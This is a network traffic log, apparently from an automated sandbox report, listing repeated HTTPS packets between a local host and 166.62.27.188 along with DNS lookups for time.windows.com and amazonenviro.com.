Jan 14, 2025 08:26:01.143023014 CET	50100	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.143078089 CET	443	50100	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.143121958 CET	50100	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.158965111 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.159009933 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:01.159076929 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.159379959 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:01.159389973 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.053344011 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.053406954 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.054702044 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.054721117 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.054991961 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.056404114 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.099343061 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.648401976 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.648847103 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.648914099 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.649058104 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.649076939 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.649096012 CET	50101	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.649102926 CET	443	50101	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.762983084 CET	50102	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.763041973 CET	443	50102	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.763115883 CET	50102	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.763237000 CET	50102	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.763284922 CET	443	50102	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.763324976 CET	50102	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.765619993 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.765672922 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:02.765739918 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.766052008 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:02.766062975 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:03.685235023 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:03.685390949 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:03.689707994 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:03.689732075 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:03.689992905 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:03.691104889 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:03.735341072 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.286230087 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.286686897 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.286777020 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.287157059 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.287177086 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.287187099 CET	50103	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.287193060 CET	443	50103	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.400729895 CET	50104	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.400789976 CET	443	50104	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.400887966 CET	50104	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.402507067 CET	50104	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.402575016 CET	443	50104	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.402641058 CET	50104	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.415378094 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.415426016 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:04.415549040 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.415868044 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:04.415880919 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.321757078 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.321840048 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.323147058 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.323158026 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.323415041 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.324651003 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.367325068 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.907309055 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.907707930 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.907810926 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.907859087 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.907859087 CET	50105	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:05.907881975 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:05.907892942 CET	443	50105	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.022790909 CET	50106	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.022825003 CET	443	50106	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.022891998 CET	50106	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.022995949 CET	50106	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.023045063 CET	443	50106	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.023092985 CET	50106	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.025181055 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.025218964 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.025300980 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.025563955 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.025576115 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.930888891 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.930970907 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.932287931 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.932297945 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.932533026 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:06.933722019 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:06.979342937 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.514278889 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.514466047 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.514514923 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.537436962 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.537458897 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.537472010 CET	50107	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.537477970 CET	443	50107	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.648350954 CET	50108	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.648408890 CET	443	50108	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.648478985 CET	50108	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.651133060 CET	50108	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.651170015 CET	443	50108	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.651218891 CET	50108	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.658413887 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.658442020 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:07.658529043 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.674534082 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:07.674561024 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:08.575304985 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:08.575370073 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:08.576673031 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:08.576692104 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:08.576968908 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:08.578120947 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:08.623328924 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.155627012 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.155924082 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.155987024 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.156239033 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.156254053 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.156265974 CET	50109	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.156271935 CET	443	50109	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.270395041 CET	50110	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.270445108 CET	443	50110	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.270523071 CET	50110	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.270637989 CET	50110	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.270678997 CET	443	50110	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.270728111 CET	50110	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.377948046 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.377983093 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:09.378057003 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.378475904 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:09.378487110 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.298998117 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.299113989 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.481662989 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.481726885 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.482356071 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.483659029 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.527332067 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.890696049 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.890980959 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.891046047 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.892765045 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.892787933 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:10.892805099 CET	50111	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:10.892812967 CET	443	50111	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.006637096 CET	50112	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.006669998 CET	443	50112	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.006766081 CET	50112	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.006894112 CET	50112	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.006937027 CET	443	50112	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.006984949 CET	50112	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.008871078 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.008964062 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.009099007 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.009423971 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.009463072 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.895807028 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.895894051 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.897092104 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.897116899 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.897372961 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:11.898530006 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:11.939332962 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.473481894 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.473622084 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.473679066 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.473723888 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.473768950 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.473800898 CET	50113	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.473817110 CET	443	50113	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.586971045 CET	50114	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.587023020 CET	443	50114	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.587126970 CET	50114	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.587328911 CET	50114	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.587361097 CET	443	50114	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.587414026 CET	50114	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.589694023 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.589782953 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:12.589855909 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.590190887 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:12.590228081 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:13.493315935 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:13.493603945 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:13.494839907 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:13.494848967 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:13.495101929 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:13.496378899 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:13.539330959 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.083494902 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.083849907 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.083920002 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.083978891 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.083978891 CET	50115	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.084008932 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.084039927 CET	443	50115	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.196975946 CET	50116	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.197036982 CET	443	50116	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.197150946 CET	50116	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.197248936 CET	50116	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.197376013 CET	443	50116	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.198388100 CET	50116	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.199671030 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.199727058 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:14.199789047 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.200068951 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:14.200083971 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.115240097 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.115309000 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.117048025 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.117055893 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.117307901 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.118529081 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.159327030 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.701951981 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.702120066 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.702179909 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.703423977 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.703437090 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.703447104 CET	50117	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.703453064 CET	443	50117	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.816391945 CET	50118	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.816430092 CET	443	50118	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.816513062 CET	50118	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.816637039 CET	50118	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.816660881 CET	443	50118	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.816713095 CET	50118	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.818581104 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.818620920 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:15.818679094 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.819005966 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:15.819040060 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:16.712821007 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:16.712923050 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:16.714174986 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:16.714205980 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:16.714565992 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:16.715768099 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:16.759349108 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.303258896 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.303376913 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.303438902 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.303504944 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.303527117 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.303538084 CET	50119	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.303544044 CET	443	50119	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.415591955 CET	50120	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.415642023 CET	443	50120	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.415718079 CET	50120	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.415798903 CET	50120	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.416121006 CET	443	50120	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.416189909 CET	50120	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.418040037 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.418095112 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:17.418195009 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.418457031 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:17.418473959 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.325861931 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.325953960 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:18.332365036 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:18.332380056 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.332745075 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.333877087 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:18.375341892 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.921344042 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.921601057 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:18.921674967 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:18.921894073 CET	50121	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:18.921905994 CET	443	50121	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.036088943 CET	50122	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.036154032 CET	443	50122	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.036241055 CET	50122	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.044892073 CET	50122	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.044946909 CET	443	50122	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.045015097 CET	50122	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.048132896 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.048198938 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.048264980 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.048715115 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.048732996 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.976366043 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.976479053 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.993393898 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:19.993416071 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.993858099 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:19.997591972 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.043332100 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.580615044 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.580862045 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.580959082 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.581017971 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.581037045 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.581053972 CET	50123	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.581060886 CET	443	50123	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.694535971 CET	50124	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.694612980 CET	443	50124	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.694700956 CET	50124	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.694781065 CET	50124	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.694827080 CET	443	50124	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.694878101 CET	50124	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.696984053 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.697038889 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:20.697129965 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.697406054 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:20.697418928 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:21.590600967 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:21.590785980 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:21.592463017 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:21.592477083 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:21.592729092 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:21.594616890 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:21.635333061 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:22.171801090 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:22.171889067 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:22.171946049 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:22.172087908 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:22.172107935 CET	443	50125	166.62.27.188	192.168.2.7
Jan 14, 2025 08:26:22.172121048 CET	50125	443	192.168.2.7	166.62.27.188
Jan 14, 2025 08:26:22.172126055 CET	443	50125	166.62.27.188	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:11.261616945 CET	57196	53	192.168.2.7	1.1.1.1
Jan 14, 2025 08:24:17.619865894 CET	56151	53	192.168.2.7	1.1.1.1
Jan 14, 2025 08:24:17.631828070 CET	53	56151	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:11.261616945 CET	192.168.2.7	1.1.1.1	0x548a	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 08:24:17.619865894 CET	192.168.2.7	1.1.1.1	0x92ac	Standard query (0)	amazonenviro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:11.268670082 CET	1.1.1.1	192.168.2.7	0x548a	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:24:12.175918102 CET	1.1.1.1	192.168.2.7	0xa36a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:24:12.175918102 CET	1.1.1.1	192.168.2.7	0xa36a	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 08:24:12.175918102 CET	1.1.1.1	192.168.2.7	0xa36a	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
